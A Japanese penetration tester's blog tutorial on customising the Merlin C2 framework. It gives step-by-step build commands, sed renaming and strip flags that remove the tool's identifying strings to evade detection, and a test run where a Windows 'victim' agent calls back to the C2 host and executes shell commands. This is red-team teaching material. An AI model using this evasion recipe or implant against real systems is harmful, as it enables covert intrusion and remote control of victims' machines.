Nseclog

ペネトレーションテスターがセキュリティ検証内容を発信するブログ

Merlin: Go言語(Golang)製セキュリティツールをカスタマイズする方法

最近はセキュリティツールの開発に「Go言語」が採用されることが増えてきました。 これらのツールをそのままビルドして使うことはよくありますが、自身でカスタマイズしたことがなかったので、実際に調べてやってみた内容をまとめます。

Go言語製セキュリティツールをカスタマイズするにあたって、OSCP勉強会ペンテストに関するTIPSという発表内で話されていた「カスタムなCHISELの作り方」というテーマが、ちょうど本記事の内容と合致していたのでこちらを参考にしました。

なお、本記事ではRed Teaming業務でも実際に使っているC2フレームワーク「Merlin」をカスタマイズしていきます。

※注意
本記事の内容は犯罪行為を助長するものではありません。サイバー空間の安心・安全な環境を確保する目的にのみ利用し、絶対に悪用しないでください。

Merlinとは

Merlinとは、Russel Van Tuyl(@Ne0nd0g)氏によって開発が進められているPost-Exploitation C2フレームワークです。 大きな特長として、通信チャネルにHTTP/2HTTP/3を利用でき、これらのプロトコルに対応していないネットワーク監視製品をバイパスできる可能性があります。

github.com

また、Go言語を用いて開発されているため、クロスプラットフォームに対応しています。 一般的なクライアント端末、サーバとして利用されるWindowsmacOSLinuxはもちろん、AndroidiOSといったモバイル端末、ARMアーキテクチャを採用しているIoT機器用にもビルドすることが可能です。

より詳しいMerlinの仕様や背景は、開発者による紹介記事が参考になります。

medium.com

posts.specterops.io

カスタマイズのゴール

Merlinは主に以下の3つのコンポーネントから構成されています1

  • Merlin Server
    • C2サーバの役割です。リスナを起動し、Agentからの通信を待ち受けます。
  • Merlin Client
    • C2サーバを操作するためのクライアントアプリケーション(コマンドラインインタフェース)です。
  • Merlin Agent

このうちの、ServerとAgentに以下のような変更を加えることを目標としてカスタマイズを行ってみます。

  1. Merlin Agentに簡単な検知回避を施す
  2. Merlin Serverにおけるリスナ設定のデフォルト値を変更する

Go言語開発環境の準備

Go言語の開発環境を準備します。 今回、使用する環境は以下のとおりです。

実行環境OS想定使用者
Merlinのビルド環境Ubuntu 22.04.3(同一端末)ペンテスタ(攻撃者想定)
Merlin Server
Merlin Client
Merlin AgentWindows 11 23H2被害者想定

まずはGo言語をインストールします。 インストールするGo言語のバージョンは適宜最新のものに置き換えてください。

$ sudo apt update
$ sudo apt install build-essential
$ wget https://go.dev/dl/go1.21.4.linux-amd64.tar.gz
$ tar -C ~/ -xzf go1.21.4.linux-amd64.tar.gz
$ echo 'PATH=$PATH:$HOME/go/bin' >> .bashrc
$ source .bashrc
$ go version
go version go1.21.4 linux/amd64

次にワークスペースを作成し、GOPATHを設定します。 GOPATHとはワークスペースとなるディレクトリを指定する環境変数です。

$ mkdir -v ~/go/workspace
$ go env -w GOPATH=~/go/workspace

ついでにビルドした実行ファイルをまとめて保存しておくディレクトリも作成しておきます。

$ mkdir -v ~/merlin-bin

これでGo言語の開発環境の準備ができました。

Merlinをそのままビルドしてみる

Merlinに手を加える前に、まずはそのままビルドしてみます。 GitHubからMerlinの最新のソースコードワークスペースへダウンロードします。

$ git clone https://github.com/Ne0nd0g/merlin.git ~/go/workspace/merlin
$ git clone https://github.com/Ne0nd0g/merlin-cli.git ~/go/workspace/merlin-cli
$ git clone https://github.com/Ne0nd0g/merlin-agent.git ~/go/workspace/merlin-agent

次にそれぞれのソースコードをビルドします。

$ cd ~/go/workspace/merlin/
$ GOOS=linux GOARCH=amd64 go build -o ~/merlin-bin/merlinServer-Linux-x64 main.go
$ cd ~/go/workspace/merlin-cli/
$ GOOS=linux GOARCH=amd64 go build -o ~/merlin-bin/merlinCLI-Linux-x64 main.go
$ cd ~/go/workspace/merlin-agent/
$ GOOS=windows GOARCH=amd64 go build -o ~/merlin-bin/merlinAgent-Windows-x64.exe main.go
$ ls ~/merlin-bin/
merlinAgent-Windows-x64.exe  merlinCLI-Linux-x64  merlinServer-Linux-x64

ここでは省きますが、実際には動作確認を行い、問題がなければMerlinのビルドは成功です。

Merlinのカスタマイズ

ここからは実際にMerlinのソースコードに手を加えて、カスタマイズします。

Merlin Agentのカスタマイズ

Merlin Agentには簡単な検知回避を施します。

検知回避の一般的なアプローチの1つとして、stringsコマンドなどで表示される可読文字列から、ツール名などの特徴的な文字列を削除するというものがあります。 今回はこれに倣い、可読文字列からmerlinを削除します2

先ほどビルドしたMerlin Agentの可読文字列からmerlinを検索してみます。

$ strings ~/merlin-bin/merlinAgent-Windows-x64.exe | grep -i merlin | wc -l
1215

$ strings ~/merlin-bin/merlinAgent-Windows-x64.exe | grep -i merlin | tail -n 5
go:itab.*github.com/Ne0nd0g/merlin-agent/v2/commands.WindowsProcess,github.com/Ne0nd0g/merlin-agent/v2/commands.Process1
go:itab.*github.com/Ne0nd0g/merlin-agent/v2/commands.MibUDP6RowOwnerPID,github.com/Ne0nd0g/merlin-agent/v2/commands.winSockEnt
go:itab.*github.com/Ne0nd0g/merlin-agent/v2/commands.MibUDPRowOwnerPID,github.com/Ne0nd0g/merlin-agent/v2/commands.winSockEnt
go:itab.*github.com/Ne0nd0g/merlin-agent/v2/commands.MibTCP6Row2,github.com/Ne0nd0g/merlin-agent/v2/commands.winSockEnt
go:itab.*github.com/Ne0nd0g/merlin-agent/v2/commands.MibTCPRow2,github.com/Ne0nd0g/merlin-agent/v2/commands.winSockEnt

検索結果を確認してみると、可読文字列にmerlinは1215個あり、そのほとんどがライブラリのインポート名であると推測できます。

Merlin Agentのmain.goを確認してみると、パスにmerlinを含むライブラリをインポートしていることがわかります。

$ cat ~/go/workspace/merlin-agent/main.go
--- snip ---
import (
--- snip ---
        "github.com/Ne0nd0g/merlin-agent/v2/agent"
        "github.com/Ne0nd0g/merlin-agent/v2/clients"
        "github.com/Ne0nd0g/merlin-agent/v2/clients/http"
        "github.com/Ne0nd0g/merlin-agent/v2/clients/smb"
        "github.com/Ne0nd0g/merlin-agent/v2/clients/tcp"
        "github.com/Ne0nd0g/merlin-agent/v2/clients/udp"
        "github.com/Ne0nd0g/merlin-agent/v2/core"
        "github.com/Ne0nd0g/merlin-agent/v2/run"
)
--- snip ---

他にもmerlinを含むライブラリをインポートしていないか、ソースコード全体から検索してみます。

$ find ~/go/workspace/merlin-agent/ -name '*.go' -exec grep -i 'github.com\/Ne0nd0g\/merlin' {} \; | sort -u
--- snip ---
        "github.com/Ne0nd0g/merlin-agent/v2/agent"
        "github.com/Ne0nd0g/merlin-agent/v2/agent/memory"
        "github.com/Ne0nd0g/merlin-agent/v2/authenticators"
--- snip ---
        "github.com/Ne0nd0g/merlin-message"
        "github.com/Ne0nd0g/merlin-message/jobs"
        "github.com/Ne0nd0g/merlin-message/opaque"
--- snip ---

検索結果から、github.com/Ne0nd0g/merlin-agent/v2github.com/Ne0nd0g/merlin-messageの2つのパスを変更する必要がありそうです。

ライブラリのパスをcustom_libに変更し、ビルドしてみます。

$ find ~/go/workspace/merlin-agent/ -name '*.go' -exec sed -i 's/github.com\/Ne0nd0g\/merlin-agent\/v2/custom_lib/gi' {} \;
$ find ~/go/workspace/merlin-agent/ -name '*.go' -exec sed -i 's/github.com\/Ne0nd0g\/merlin-message/custom_lib\/message/gi' {} \;
$ GOOS=windows GOARCH=amd64 go build -o ~/merlin-bin/merlinAgent-Windows-x64.exe main.go
main.go:39:2: package custom_lib/agent is not in std (/home/tester/go/src/custom_lib/agent)
main.go:40:2: package custom_lib/clients is not in std (/home/tester/go/src/custom_lib/clients)
main.go:41:2: package custom_lib/clients/http is not in std (/home/tester/go/src/custom_lib/clients/http)
main.go:42:2: package custom_lib/clients/smb is not in std (/home/tester/go/src/custom_lib/clients/smb)
main.go:43:2: package custom_lib/clients/tcp is not in std (/home/tester/go/src/custom_lib/clients/tcp)
main.go:44:2: package custom_lib/clients/udp is not in std (/home/tester/go/src/custom_lib/clients/udp)
main.go:45:2: package custom_lib/core is not in std (/home/tester/go/src/custom_lib/core)
main.go:46:2: package custom_lib/run is not in std (/home/tester/go/src/custom_lib/run)

しかし、パスを変更しただけでは、実際にはライブラリが存在しないためエラーとなります。

そこでmerlin-agent内のライブラリはすべて~/go/src/custom_lib/へ移動し、merlin-message~/go/src/custom_lib/へダウンロードします。

$ mkdir -v ~/go/src/custom_lib
$ mv -v ~/go/workspace/merlin-agent/{agent,authenticators,cli,clients,commands,core,os,p2p,run,services,socks,transformers} ~/go/src/custom_lib/
$ git clone https://github.com/Ne0nd0g/merlin-message.git ~/go/src/custom_lib/message
$ GOOS=windows GOARCH=amd64 go build -o ~/merlin-bin/merlinAgent-Windows-x64.exe main.go
$ strings ~/merlin-bin/merlinAgent-Windows-x64.exe | grep -i merlin | wc -l
8

これにより、可読文字列内のmerlinの数が8個まで減りました。

残りはソースコード内にハードコードされた文字列の可能性が高いので、merlincustomに一括で置換します。

$ find ~/go/workspace/merlin-agent/ -name '*.go' -exec sed -i 's/merlin/custom/gi' {} \;
$ find ~/go/src/custom_lib/ -name '*.go' -exec sed -i 's/merlin/custom/gi' {} \;
$ GOOS=windows GOARCH=amd64 go build -o ~/merlin-bin/merlinAgent-Windows-x64.exe main.go
$ strings ~/merlin-bin/merlinAgent-Windows-x64.exe | grep -i merlin | wc -l
1

$ strings ~/merlin-bin/merlinAgent-Windows-x64.exe | grep -i merlin
/home/tester/go/workspace/merlin-agent/main.go

しかし、1つだけローカルのパスが残っていました。

実行ファイル内にローカルのパスが残ってしまう事象について調べてみたところ、ビルド時に-trimpathオプションを指定することで消すことができるようです。

qiita.com

また、-ldflags="-s -w"を指定することでシンボルテーブルなどのデバッグ情報も消すことができるみたいなので、こちらも指定しておきます。

$ GOOS=windows GOARCH=amd64 go build -trimpath -ldflags "-s -w" -o ~/merlin-bin/merlinAgent-Windows-x64.exe main.go
$ strings ~/merlin-bin/merlinAgent-Windows-x64.exe | grep -i merlin | wc -l
0

これで、可読文字列からすべてのmerlinを削除することができました。

カスタマイズしたMerlin Agentが正常に動作するかテストします。 また、ここでHTTPリスナのInterfaceのデフォルト設定が127.0.0.1であることも確認しておきます。

  • ペンテスタ(攻撃者想定)端末

      $ sudo ~/merlin-bin/merlinServer-Linux-x64 &
      $ ~/merlin-bin/merlinCLI-Linux-x64
      Merlin>> listeners
      Merlin[listeners]>> use HTTP
      Merlin[listeners][HTTP]>> info
      --- snip ---
      | Interface     | 127.0.0.1                                    |
      --- snip ---
      Merlin[listeners][HTTP]>> set Interface 0.0.0.0
      Merlin[listeners][HTTP]>> start
    
  • 被害者想定端末

      PS C:\> .\merlinAgent-Windows-x64.exe -proto http -psk merlin -url http://<Ubuntu IP> -v
      [!]clients/http.Deconstruct(): unable to deconstruct with Agent's secret, retrying with PSK
      [!]clients/http.Send(): there was an error deconstructing the HTTP response data: gob: name not registered for interface: "github.com/Ne0nd0g/merlin-message/opaque.Opaque"
    

結果、エラーが発生してしまいました。 このエラーの解消は、Merlin Serverのカスタマイズで行います。

Merlin Serverのカスタマイズ

Merlin Serverにおけるリスナ設定のデフォルト値の変更と、Merlin Agentをカスタマイズしたことによって発生したエラーの解消を行います。

上記エラーメッセージの内容から、Merlin Agentがインポートしているmerlin-messageのパスが変更されていることに原因がありそうです。 そこで、Merlin Serverがインポートしているmerlin-messageも同じパスに揃えます。

$ find ~/go/workspace/merlin/ -name '*.go' -exec sed -i 's/github.com\/Ne0nd0g\/merlin-message/custom_lib\/message/gi' {} \;

次にリスナ設定のInterfaceのデフォルト値が127.0.0.1となっており、リスナを起動するたびに0.0.0.0に変更するのが面倒なので、デフォルト値も変えておきます。

$ vim ~/go/workspace/merlin/pkg/servers/http/http.go
+options["Interface"] = "0.0.0.0"
-options["Interface"] = "127.0.0.1"

Merlin Serverをビルドして、再度動作確認を行います。

  • ペンテスタ(攻撃者想定)端末

      $ GOOS=linux GOARCH=amd64 go build -o ~/merlin-bin/merlinServer-Linux-x64 main.go
      $ sudo ~/merlin-bin/merlinServer-Linux-x64 &
      $ ~/merlin-bin/merlinCLI-Linux-x64
      Merlin>> listeners
      Merlin[listeners]>> use HTTP
      Merlin[listeners][HTTP]>> info
      --- snip ---
      | Interface     | 0.0.0.0                                                  |
      --- snip ---
      Merlin[listeners][HTTP]>> start
    
  • 被害者想定端末

      PS C:\> .\merlinAgent-Windows-x64.exe -proto http -psk merlin -url http://<Ubuntu IP> -v
    

ペンテスタ(攻撃者想定)端末にチェックイン通知が表示され、コマンド実行などの操作を行うことができれば成功です。

Merlin>> {"time":"2023-12-31T00:10:10.661702957+09:00","level":"INFO","msg":"New authenticated agent checkin for ec5f6911-1d81-45d3-b5f5-462af34c4a71"}

[+] 2023-12-30T15:10:10Z New authenticated Agent checkin for ec5f6911-1d81-45d3-b5f5-462af34c4a71 at 2023-12-30T15:10:10Z

[-] 2023-12-30T15:10:43Z Results of job eqqfvNesVL for agent ec5f6911-1d81-45d3-b5f5-462af34c4a71 at 2023-12-30T15:10:43Z
        Configuration data received for Agent ec5f6911-1d81-45d3-b5f5-462af34c4a71 and updated. Issue the "info" command to view it.
Merlin>> interact ec5f6911-1d81-45d3-b5f5-462af34c4a71
Merlin[agent][ec5f6911-1d81-45d3-b5f5-462af34c4a71]>> shell hostname
Merlin[agent][ec5f6911-1d81-45d3-b5f5-462af34c4a71]>>
[-] 2023-12-30T15:12:24Z Created job eabZvRpvKU for agent ec5f6911-1d81-45d3-b5f5-462af34c4a71 at 2023-12-30T15:12:24Z

[-] 2023-12-30T15:13:21Z Results of job eabZvRpvKU for agent ec5f6911-1d81-45d3-b5f5-462af34c4a71 at 2023-12-30T15:13:21Z

[+] 2023-12-30T15:13:21Z Created C:\Windows\system32\cmd.exe process with an ID of 6940
WIN11-23H2

これで、Merlin Agentの簡単な検知回避と、それに伴うMerlin Serverのエラー解消、リスナ設定のデフォルト値変更といったカスタマイズができました。

おわりに

本記事では、Go言語(Golang)製セキュリティツールをカスタマイズする方法ということで、C2フレームワークMerlinのカスタマイズを行いました。

今回はMerlinを取り上げましたが、Go言語製のツールであれば基本的には同様の方法でカスタマイズが可能です。

ペンテスタは、対象環境に合わせた変更やバグの修正などの理由で、テスト中に調査ツールをカスタマイズしなければならないことも多いです。 この記事がRed Teaming関連の業務に携わる方の参考になると嬉しいです。

参考文献


  1. 元々サーバとクライアントは一体型でしたが、マルチオペレータ対応のためバージョン2以降分割されました。
  2. アンチウィルス製品にもよりますが、可読文字列からmerlinという文字列を削除しただけで、実際に検知回避できるわけではありません。